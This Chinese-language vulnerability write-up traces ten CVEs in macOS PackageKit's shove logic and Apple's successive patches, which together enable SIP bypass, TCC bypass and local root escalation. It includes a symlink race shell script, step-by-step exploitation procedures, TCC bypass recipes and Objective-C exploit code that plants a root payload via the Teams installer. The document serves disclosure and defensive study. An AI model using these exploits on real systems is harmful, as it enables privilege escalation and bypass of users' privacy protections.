概述

苹果需要发布多少个补丁，才能真正修复一个漏洞？

在 macOS 的 PackageKit框架中有一个有趣的逻辑漏洞，该漏洞允许提升权限至 root，绕过 **透明度、同意与控制（TCC）**机制，并突破 系统完整性保护（SIP）。

令人难以置信的是，苹果为了解决这个漏洞，前后竟然发布了 9 个补丁！ ，漏洞编号分别是：

• CVE-2022-26688

• CVE-2022-32900

• CVE-2023-23497

• CVE-2023-27962

• CVE-2023-38564

• CVE-2023-42853

• CVE-2024-23275

• CVE-2024-27885

• CVE-2024-44178

• CVE-2025-24099

CVE-2025-24099 是该漏洞的一个变体，现已在 macOS 15.3中得到修复。

关于 SIP 文件系统保护

关于 macOS 的 系统完整性保护（System Integrity Protection, SIP），已经有许多文档和博客进行了详细讨论。为了节省时间，我不会过多介绍 macOS SIP 的基础知识。

在这里，我们将重点关注 文件系统保护。简而言之，它是一个应用于整个系统的特殊 沙盒机制。其配置存储在 /System/Library/Sandbox/rootless.config文件中。

以 /Library/Apple目录为例：

从ls系统命令的输出中，我们可以看到该目录受到了限制，并且具有一个特殊的扩展属性："com.apple.rootless"。

如果我尝试在该目录内创建一个文件，即使使用 root权限执行touch命令，依然会返回错误：
“Operation not permitted”（操作不允许）。

那么，macOS 系统本身是如何更新受保护的文件的呢？

答案是：一些由 Apple 签名的服务运行时具备强大的 CS_INSTALLER权限。它们通常带有 私有的 rootless 相关权限（entitlements），从而能够修改受保护的系统目录。

关于 PackageKit 框架

我今天要讨论的漏洞存在于 PackageKit框架中。让我们先来了解一下这个框架。

这是什么？

它是一个 私有框架，其中包含了一些可执行二进制文件：

该框架的职责是安装 PKG 文件。

• “installd”服务用于安装普通的 PKG 文件（包括开发者签名的或未签名的）。

• “system_installd”服务用于安装Apple 签名的 PKG 文件。

这两个服务都以 root 权限运行，并且共享 PackageKit 框架中的相同实现。

为什么这个框架如此具有吸引力？

• 对于 “installd”服务，它可以被利用来提升到 root 权限。

• 更重要的是，“system_installd”服务带有强大的权限签名 "com.apple.rootless.install.heritable"，因此该服务及其所有子进程都拥有 CS_INSTALLER权限，能够修改 SIP 受保护的文件。这意味着它可以被利用来绕过 SIP 保护，进而实现完全绕过 TCC 机制。

• 另一方面，历史上已有大量漏洞被披露。

攻击面

在 PackageKit框架中，存在多个潜在的攻击面。

第一个主要的攻击面存在于安装操作中：

正如我们在这里看到的，该框架实现了超过 20 种不同的操作。其中一些操作可以在 PKG 安装过程中的特定场景下被触发。

第二个命令攻击面存在于 PKG 文件中的安装操作脚本。

• 对于 Apple 签名的 PKG 文件，它们可以被利用来绕过 SIP 保护。

• 对于其他 PKG 文件，它们可以被利用来提升到 root 权限。

主要工作流程

**“installd”**和 **“system_installd”**服务具有相同的主要工作流程。

从install.log日志中可以看到

在 PKG 安装过程中，默认情况下至少会触发 三种安装操作：

• PKExtractInstallOperation：用于从 PKG 文件中提取 Payload 内容，并将其存放到安装沙盒的根路径。

• PKRunPackageScriptInstallOperation：负责执行 PKG 文件中嵌入的安装操作脚本。

• PKShoveInstallOperation：用于将安装沙盒中的 Payload 内容移动到最终的安装目标路径。

PKShoveInstallOperation

过去，前两种安装操作中披露过一些漏洞。今天，我们的重点是最后一个 PKShoveInstallOperation。

在逆向分析 Objective-C 类**“PKCoreShove”后，我发现shove**（推送）逻辑有些复杂，它并不等同于移动操作。

在大多数场景下，它会调用名为 **“-[PKCoreShove _relinkFile:dest:]”**的方法，该方法内部调用了 rename API。如果源路径和目标路径都是目录，它会通过递归调用 **“-[PKCoreShove shoveOneLevel:dest:]”**方法来处理这种情况。

如果源路径是一个目录，而目标路径是一个符号链接，接下来会发生什么呢？

CVE-2022-26688

所以，我的动机来自这个问题：

如果我用符号链接替换目标目录，并安装 Apple 签名的 PKG 文件，系统会跟随符号链接并将 PKG 的 Payload 内容重定向到另一个受限位置吗？

CVE-2022-26688可以解释这一切

这是一个有趣的逻辑漏洞，标志着今天故事的开始。它可以被利用来直接绕过 SIP 文件系统保护。

漏洞利用

我测试这个问题的过程实际上也是漏洞利用的过程：

我们可以看到测试环境是 macOS 12.0.1，并且 SIP 状态已启用。

在利用漏洞之前，/Library/Apple目录是受限的，并且具有特殊的 rootless 扩展属性，所以我不能在此目录中写入文件。

漏洞利用的步骤是：从 payload 目标路径创建一个指向任意受限目录的符号链接。

接下来，安装 Apple 签名的 PKG 文件。PKShoveInstallOperation将会把 Payload 内容从安装沙盒仓库推送到目标路径。

令我惊讶的是，shove过程不仅会跟随符号链接并将 Payload 内容推送到受限位置，而且还会清除受限文件标志，并删除解决后的目标路径的 rootless 扩展属性！

结果，我可以在受限位置写入和删除任意文件，因为它现在变得不再受限了。

根本原因

那么，底层发生了什么呢？

为了快速找到相关的进程和函数，我推荐使用 Instruments.app，并配合 Xcode使用。因为这个工具不仅可以监控文件操作，还能提供有价值的 调用栈跟踪信息（有点类似于 Windows 上的 procmon）：

我们可以看到，shove 过程执行了文件操作。该 shove 过程是由 system_installd服务生成的，因此它会继承强大的 CS_INSTALLER权限，从而修改 SIP 受保护路径。

同时，我们还可以看到，文件操作是由名为 **“-[PKCoreShove relinkFile:dest:sourceAttribs:destAttribs:]”**的函数调用触发的。

深入分析该函数后，我们可以看到：

• 在 第 31 行，它调用了 rename API直接将 Payload 内容推送到目标路径。

• 在 第 65 行，它调用了另一个方法来传播目标路径的文件标志和扩展属性。

深入到文件属性传播函数后，我们可以看到：

• 在 第 177 行，它调用了 lchflags API来清除目标路径的受限文件标志。

• 在 第 200 行，它使用 removexattr API来移除特殊的 rootless 扩展属性。

第一个补丁

苹果在 macOS 12.3中首次修复了此漏洞：

正如日志字符串所暗示的那样，如果原始目标路径不受信任，而解析后的目标路径是受信任的，那么系统将不会跟随符号链接。

接下来，它首先会从目标路径中移除符号链接，然后调用 **“- [PKCoreShove _relinkFile:dest:]”**函数。

这似乎直接阻止了我之前的漏洞利用。

但这够安全吗？

CVE-2022-32900

当然不，CVE-2022-32900就是绕过它的方法：

绕过的思路如下：

我发现，如果原始目标路径和解析后的目标路径都不受信任，那么它会直接跟随符号链接。

虽然解析后的目标路径不受信任，但其中的子路径可能是受限且受信任的。例如，可以创建一个符号链接，让原始目标路径指向不受限的目录 /Library，然后 shove 过程会跟随符号链接，并覆盖受限的子目录 /Library/Apple。

接下来，出现了一个挑战。

为了覆盖受限的子目录，我需要找到一个 Apple 签名的 PKG 文件，其中包含特殊的 Payload 内容：“$SandboxRepo/Root/XXX/YYY/Apple”。

然而，我发现如果将 Apple 签名的 PKG 文件安装到一个挂载的磁盘映像卷上，安装沙盒仓库将不受 SIP保护。

尽管沙盒仓库是通过 rootless_mkdir_restrictedAPI 创建的，并且 ls 命令显示它是受限的，但实际上它根本不受限制！因此，我可以直接从磁盘映像卷修改 Payload 内容。

第二个补丁

苹果在 macOS 12.6中再次修复了此漏洞：

现在，在函数 **-[PKShoveInstallOperation _shoveExtractedRootOntoDestinationReturningError:]**中，如果提取的 Payload 路径不受信任，那么 shove 命令会使用一个额外的参数 **“-D”**来生成，像这样：

然后，在 shove 过程中，它会通过使用 csops API来放弃强大的 CS_INSTALLER权限：

这个解决方案看起来合理，再次阻止了我的漏洞利用。

但现在就安全了吗？

CVE-2023-23497

还不安全，CVE-2023-23497又是一个绕过方法：

新问题

在 第 84 行和 第 86 行，它通过使用不安全的 API rootless_check_trusted和 rootless_protected_volume来检查提取的 Payload 路径是否受信任。但通过符号链接很容易绕过这些检查！

漏洞利用

这是我再次利用此问题的过程：

1. 创建一个 DMG 文件并将其挂载到目录 /tmp/.exploit。

2. 将 Apple 签名的 PKG 文件安装到卷 /tmp/.exploit。

3. 在 system_installd调用 rootless_check_trustedAPI 之前，用指向受限位置的符号链接替换提取的 Payload 路径。

4. shove命令将在没有 -D参数的情况下生成，并且不会放弃 **SIP (CS_INSTALLER)**权限。

5. 用我们的真实 Payload 替换提取的 Payload 路径。

然后我遇到了一个新挑战：shove 过程不会跟随符号链接，因为源路径和解析后的目标路径不在同一个设备上。源路径来自挂载的磁盘映像设备，而解析后的目标路径位于根卷设备上。

解决方法是：创建一个符号链接，使安装沙盒仓库指向 根卷设备上的路径。这样 shove 过程就会再次跟随符号链接！

第三个补丁

苹果在 macOS 13.2中再次修复了此问题：

它使用了安全的 rootless_check_trusted_fdAPI。文件描述符是使用标志打开符号链接本身，而不是解析符号链接。

CVE-2023-27962

然而，伴随着这个补丁，一个新的荒谬问题被引入了。

新引入的问题

在反向分析补丁函数后，我发现了一个新的粗心编码问题：

这里，它检查的是 shoveToolPath是否完全受 SIP 保护，而不是之前的提取的 payload 路径。当然，来自系统私有框架的 shoveToolPath是受限的，并且完全由 SIP 保护。

因此，第 37 行的检查总是返回 true！

第四个补丁

苹果在 macOS 13.3中立即修复了此问题：

再次，它检查了提取的 payload 路径，而不是系统的 shoveToolPath。

但现在就安全了吗？

CVE-2023-38564

还不安全，CVE-2023-38564又是一个绕过方法：

问题

问题

一方面，在 第 44 行，带有 O_SYMLINK标志的 open API仍然会跟随符号链接，如果父路径组件是符号链接的话。找到一个名为 Root的受限文件夹后，第 48 行的检查将再次被绕过。

另一方面，可以通过使用挂载的磁盘映像卷来控制安装沙盒仓库。

漏洞利用

为了再次利用这个问题，我们需要理解沙盒仓库。

它是由函数 **“-[PKInstallSandboxManager _sandboxRepositoryForDestination:forSystemSoftware:create:error:]”**返回并创建的一个目录。

如果安装目标是根卷 “/”：

• 对于 Apple 签名的 PKG： /Library/Apple/System/Library/InstallerSandboxes/.PKInstallSandboxManager-SystemSoftware

• 对于其他 PKG： /Library/InstallerSandboxes/.PKInstallSandboxManager

如果安装目标不是根卷：

• 对于 Apple 签名的 PKG： $targetVolume/.PKInstallSandboxManager-SystemSoftware

• 对于其他 PKG： $targetVolume/.PKInstallSandboxManager

这是我再次利用此问题的方式，使用了挂载技巧：

1. 创建一个 DMG文件并将其挂载到目录 /tmp/.exploit。

2. 安装一个 Apple 签名的 PKG 到卷 /tmp/.exploit。

3. 在函数 **“-[PKInstallSandboxManager _sandboxRepositoryForDestination:forSystemSoftware:create:error:]”**中，一旦它创建并返回路径 /tmp/.exploit/.PKInstallSandboxManager-SystemSoftware（位于 DMG 卷内）作为其沙盒仓库，我可以立即弹出 DMG 卷。然后，沙盒仓库将位于根卷上，前缀路径为 /tmp/.exploit。

4. 接下来，服务将使用 API rootless_mkdir_restricted在沙盒仓库中创建受限的 payload 目录。

5. 由于该 payload 目录是受限的，shove命令将不会放弃 SIP 权限。

6. 该 payload 目录不能直接修改，但我可以再次将另一个 DMG 文件挂载到 /tmp/.exploit。然后它将变为不受限的，因此我可以在那里部署我的恶意 payload。

第5次补丁

Apple 在 macOS 13.5 中再次修复了此问题：

现在，它检查安装沙盒仓库是否可信。因此，挂载技巧不再能够绕过这里的检查。

现在，如果安装目标路径不是根卷，它将使用没有特权的 installd服务来处理 Apple 签名 PKG 文件的安装请求，而不是使用有特权的 system_installd服务！

做得好，但现在它够安全了吗？

CVE-2023-42853

还没有，CVE-2023-42853 仍然是绕过方法。

如果源路径是一个目录，且目标路径是符号链接，它将判断是否跟随解析后的目标路径：

如果原始目标路径没有被限制，而解析后的目标路径被限制，它将不会跟随解析后的目标路径。否则，它将跟随解析后的目标路径，并将Payload内容推送到那里。

推送到解析后的目标路径后，它将传播文件标志和扩展属性。

它通过使用APIrootless_check_trusted_fd来检查路径是否被信任：

然而，这个API只能检查文件标志SF_RESTRICTED，而忽略了特殊的文件标志SF_NOUNLINK！

漏洞利用和演示
所以，我做了一个测试：

首先，我创建了一个指向具有特殊文件标志 SF_NOUNLINK 的位置的符号链接，比如目录 /Library/Application Support，该目录由于特殊文件标志无法被挂载。

然后我安装了 Apple 签名的 PKG 文件。结果，shove 进程跟随符号链接并清除了特殊文件标志。然后它变得可以挂载了！

所以这个问题可以被利用来完全绕过 TCC 保护：

1. 利用 SIP 绕过原语清除任意路径的文件标志（SF_NOUNLINK），例如 “/Library/Application Support”。

2. 创建一个 DMG 文件并挂载到路径 “/Library/Application Support”。

3. 将制作好的 TCC.db 放置到路径 “/Library/Application Support/com.apple.TCC” 来完全绕过 TCC！

第六个补丁
Apple 在 macOS 14.1 中再次修复了这个问题：

现在，在函数 PKSIPFullyProtected 中，如果文件路径具有特殊的 SF_NOUNLINK 标志，它也会被视为完全受 SIP 保护。

现在看起来更好一些，但这真的足够安全吗？

CVE-2024-23275

还不行，CVE-2024-23275 反手又是一个绕过：

问题

因此，它检查解析后的目标路径是否完全受SIP保护：

但解析后的目标路径是使用标志“O_NOFOLLOW”打开的，而不是“O_NOFOLLOW_ANY”标志。所以我不能直接用符号链接替换解析后的目标路径。但我可以用符号链接替换父路径组件。在调用open API之前，先创建一个符号链接指向一个不受限制的位置。在通过第291行的检查后，让符号链接指向一个受限制的位置，以清除其受限制的文件标志。

漏洞利用

以下是漏洞利用脚本：
#!/bin/sh

#Usage: exploit.sh /path/to/target (clear the target's file flag: "SF_RESTRICTED", "SF_SF_NOUNLINK")
TARGET_DIR=dirname "$1"
TARGET_NAME=basename "$1"

echo 'target dirname:' $TARGET_DIR ', target basename:' $TARGET_NAME
mkdir "/tmp/$TARGET_NAME"
ln -f -h -s /tmp /tmp/lnk
ln -f -h -s "/tmp/lnk/$TARGET_NAME" /Library/Application\ Support/ResearchSoft

echo 'waiting for the installation...'

#waiting for the shove process opening the untrusted /tmp/$TARGET_NAME
while true ; do
if lsof -c shove | grep "/tmp/$TARGET_NAME"
then
break
fi
done

echo 'replacing the symlink...'
ln -f -h -s "$TARGET_DIR" /tmp/lnk
echo 'all done.'
它可以用来清除任意路径的受限文件标志。

第七次修补

苹果在 macOS 14.4 中再次修复了这个问题：

现在，如果原始目标路径不被信任，解析后的目标路径将使用标志 “O_NOFOLLOW_ANY” 打开。这个标志会阻止路径中任何类型的符号链接。

但漏洞的利用永远不会结束。

CVE-2024-27885

CVE-2024-27885 再次的绕过了：
如前所述，在将内容推送到安装目标路径之后，它会传播目标路径的文件标志和扩展属性。受限的文件标志可以通过 lchflags API 被清除。

问题

APIlchflags的设计是不会跟随符号链接的：

然而，这个 API 的实现过于草率：

它通过在第6行使用API lstat 检查给定的路径是否为符号链接：
如果路径是符号链接，它将使用带有 FSOPT_NOFOLLOW 选项的API setattrlist。
如果路径不是符号链接，它仍将使用API chflags，而 chflags 会跟随符号链接。
因此，这里存在一个经典的TOCTOU（Time-of-Check to Time-of-Use，检查时间与使用时间不一致）问题。在通过第6行的API lstat 检查后，攻击者可以将路径替换为一个符号链接。结果，它会使用API chflags 并直接跟随符号链接，从而清除任意路径的受限文件标志。
苹果在macOS 13.3中通过CVE-2023-40383解决了这个旧问题，方法如下：

现在在API lchflags 中，它移除了对API chflags 的调用，始终使用带有 FSOPT_NOFOLLOW 选项的API setattrlist。
然而，如果我将父路径组件替换为一个符号链接，它仍然会跟随该符号链接，因为它没有使用 FSOPT_NOFOLLOW_ANY (0x800) 选项。
PKCoreShove 使用API lchflags 来清除安装目标路径的文件标志：

漏洞利用

例如，安装由苹果签名的 WorkflowExtensionsSDK.pkg 会将Payload内容推送到目标路径，例如：/Library/Developer/SDKs/WorkflowExtensionSDK.sdk/Library。
在安装苹果签名的PKG之前，执行以下命令进行准备：
bash
mkdir -p /Library/Developer/SDKs/WorkflowExtensionSDK.sdk/Library
chflags 6 /Library/Developer/SDKs/WorkflowExtensionSDK.sdk/Library
这将在安装过程中触发 PKCoreShove 清除该路径的文件标志：
c
lchflags("/Library/Developer/SDKs/WorkflowExtensionSDK.sdk/Library", 0);
在推送过程调用API lchflags 之前，竞争性地将父路径组件 /Library/Developer/SDKs/WorkflowExtensionSDK.sdk 替换为指向 / 的符号链接。
结果，路径 /Library 的文件标志 SF_NOUNLINK 将被清除。

第二阶段漏洞利用

我们能基于之前的原语获得更多吗？
路径 /Library 仍然无法挂载，即使文件标志 SF_NOUNLINK 已被清除。
事实是，某些受限文件标志的丢失已经破坏了系统完整性保护（SIP）的信任链。
例如，这个原语可以使一些受限路径变得可挂载！通过滥用这个原语清除路径 /Library/Apple/Library 的受限标志（0x80000），我就可以对其进行挂载。
正如我一直所说，SIP绕过意味着完全的TCC（透明性、同意和控制）绕过。接下来，将文件 /Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist 修改为以下内容：

ServicesAppleEventsCodeRequirementidentifier com.apple.TerminalIdentifierTypebundleIDIdentifiercom.apple.TerminalComment40394397AEReceiverIdentifiercom.apple.finderAEReceiverIdentifierTypebundleIDAEReceiverCodeRequirementidentifier com.apple.finder

结果，Terminal.app 能够向 Finder.app 发送任意的AppleEvents，从而完全绕过TCC！
请注意，在这个漏洞利用提交给苹果后，苹果自macOS 15.0 Beta 3起已废弃了捆绑包 /Library/Apple/Library/Bundles/TCC_Compatibility.bundle：

第八次补丁

苹果在macOS 14.5中再次修补了这个问题：
void -[PKCoreShove _propagateFileModification:flags:xattrs:](void *a1, void *a2, int a3, void *a4)
{
//...
fd = open(path, O_SYMLINK|O_NOCTTY|O_NONBLOCK);
//...
if ( fchflags(fd, v48) )
//...
}
现在，它使用的是API fchflags，而不是API lchflags。

但现在没事了吗？

CVE-2024-44178

还没有，CVE-2024-44178 再次绕过了这个问题：

问题

从第八次补丁中我们可以看到，它调用了带有标志 O_SYMLINK|O_NOCTTY|O_NONBLOCK 的 open API，但没有使用标志 O_NOFOLLOW_ANY！
因此，在它打开路径 /Library/Developer/SDKs/WorkflowExtensionSDK.sdk/Library 之前，攻击者仍然能够将父路径组件 /Library/Developer/SDKs/WorkflowExtensionSDK.sdk 替换为一个符号链接。
漏洞利用过程与之前类似。

第九次补丁

苹果在macOS 15.0中再次修补了这个问题。
如果当前服务是特权服务“system_installd”（PKSIPCurrentProcessCanModifySystemIntegrityProtectionFiles 返回 TRUE），推送过程将会在不带参数“-s”的情况下被启动：

在推送过程中，参数“-s”表示允许符号链接（optionFlags |= 4）：

如果未指定参数“-s”，则函数 -[PKCoreShove _linkResolutionProhibitted] 将返回 TRUE：

接下来，如果禁止链接解析，open API 将使用标志“O_NOFOLLOW_ANY”：

与此同时，rename API 已更改为 renamex_np，如果禁止链接解析，则将使用标志“RENAME_NOFOLLOW_ANY”：

CVE-2025-24099：本地权限提升（LPE）的又一个变体

现在一切似乎都正常，但由第三方开发者签名的PKG文件又如何呢？

实际上，这是一个变体漏洞，可以在安装普通的第三方签名软件包时被利用来获得root权限提升。

问题（例如，Teams_osx.pkg）
让我们以Microsoft Teams安装包（Teams_osx.pkg）为例。

我第一眼看到的问题存在于postinstall脚本中：

它通过使用“${UPDATER_DAEMON_FILE_IN_APP}”注册了一个具有root权限的启动守护进程。开发者认为，PKG安装后，应用程序路径应由root拥有，普通用户无法修改。

然而，这种错误的假设可以通过创建符号链接来打破！

攻击者可以首先将root拥有的PKG Payload内容重定向到另一个位置，然后直接在路径“${UPDATER_DAEMON_FILE_IN_APP}”写入有效负载以获取root权限。

利用（针对Teams_osx.pkg）

利用代码如下：

#define TEAMS_APP_FOLDER "/Applications/Microsoft Teams classic.app"
#define XPC_FOLDER TEAMS_APP_FOLDER"/Contents/TeamsUpdaterDaemon.xpc/Contents/MacOS"
#define XPC_EXE_PATH XPC_FOLDER"/TeamsUpdaterDaemon"
void exploit_teams_pkg(void) {
mkdir("/Applications/1337.app", 0777);
symlink("/Applications/1337.app", TEAMS_APP_FOLDER);
printf("[*] Waiting for Microsoft Teams classic installation...\npress enter when the installation is done.");
getchar();

unlink(TEAMS_APP_FOLDER);
system("mkdir -p \""XPC_FOLDER"\"");
printf("[*] Writing my LPE payload\n");
[@"#!/bin/sh\ntouch /Library/LPE\n/System/Applications/Utilities/Terminal.app/Contents/MacOS/Terminal\n" writeToFile:@XPC_EXE_PATH atomically:TRUE encoding:NSUTF8StringEncoding error:nil];
chmod(XPC_EXE_PATH, 0777);

}

@protocol DUMMY

• (void)ping;
  @end
  void wakeup_daemon_xpc(void) {
  NSXPCConnection connection = [[NSXPCConnection alloc] initWithMachServiceName:@"com.microsoft.teams.TeamsUpdaterDaemon" options:NSXPCConnectionPrivileged];
  connection.remoteObjectInterface = [NSXPCInterface interfaceWithProtocol:@protocol(DUMMY)];
  [connection resume];
  [connection.remoteObjectProxy ping];
  printf("[] All done, enjoy the root shell :p\n");
  }

谁应该为此负责？

研究者首先通过MSRC门户向微软报告了这个问题。但他们认定这不是一个漏洞：

在公开披露这个0-day漏洞之前，研究者决定将这个问题报告给苹果。由于研究者已经从PKCoreShove逻辑中报告了如此多的SIP绕过问题，研究者现在对这个问题有了更好的理解。研究者认为这个问题的根本原因应归咎于苹果，只有苹果才能彻底解决这类问题：

当研究者们安装一个由苹果签名的PKG文件时，苹果会仔细检查目标路径，以避免SIP绕过问题。如果目标路径是一个符号链接且不受信任，它会在推送PKG内容之前不会跟随符号链接。

现在，研究者们正在安装一个由第三方开发者签名的普通PKG文件。苹果在推送之前不再检查目标路径，这导致了这里的LPE问题。通过创建一个符号链接，攻击者可以将root拥有的PKG有效负载内容重定向到任意位置。

补丁

macOS 15.0 中的补丁？
苹果告诉研究者，该问题已在macOS Sequoia 15.0中得到解决，研究者的致谢信息可以在他们的额外致谢部分找到。

然而，通过研究者的测试，研究者仍然可以直接利用它，而无需更改代码。

当研究者准备在OBTS上披露这个0-day漏洞时，苹果承认了他们的错误：

macOS 15.3 中的补丁

在函数 -[PKShoveInstallOperation _shoveExtractedRootOntoDestinationReturningError:] 中：

它会枚举PKG Payload中的所有捆绑组件，并将父捆绑组件标记为ATOMIC_REPLACEMENT_PATH，需要以原子方式推送。推送命令将像这样生成：
shove -f -s -O /Library/InstallerSandboxes/.PKInstallSandboxManager/EEE6ABF9-A22A-4502-9FC6-F10C0A567B18.activeSandbox/ShoveExtraOptions-7ACF2D9C-6589-4679-9850-C8ECB05111FA.plist /Library/InstallerSandboxes/.PKInstallSandboxManager/EEE6ABF9-A22A-4502-9FC6-F10C0A567B18.activeSandbox/Root /

ShoveExtraOptions-7ACF2D9C-6589-4679-9850-C8ECB05111FA.plist 的内容：
{
"ATOMIC_REPLACEMENT_PATHS" => [
0 => "Applications/Microsoft Teams classic.app"
]
}

接下来，在函数 -[PKCoreShove shoveOneLevel:dest:] 中：

它不会跟随目标符号链接进行原子替换路径的操作。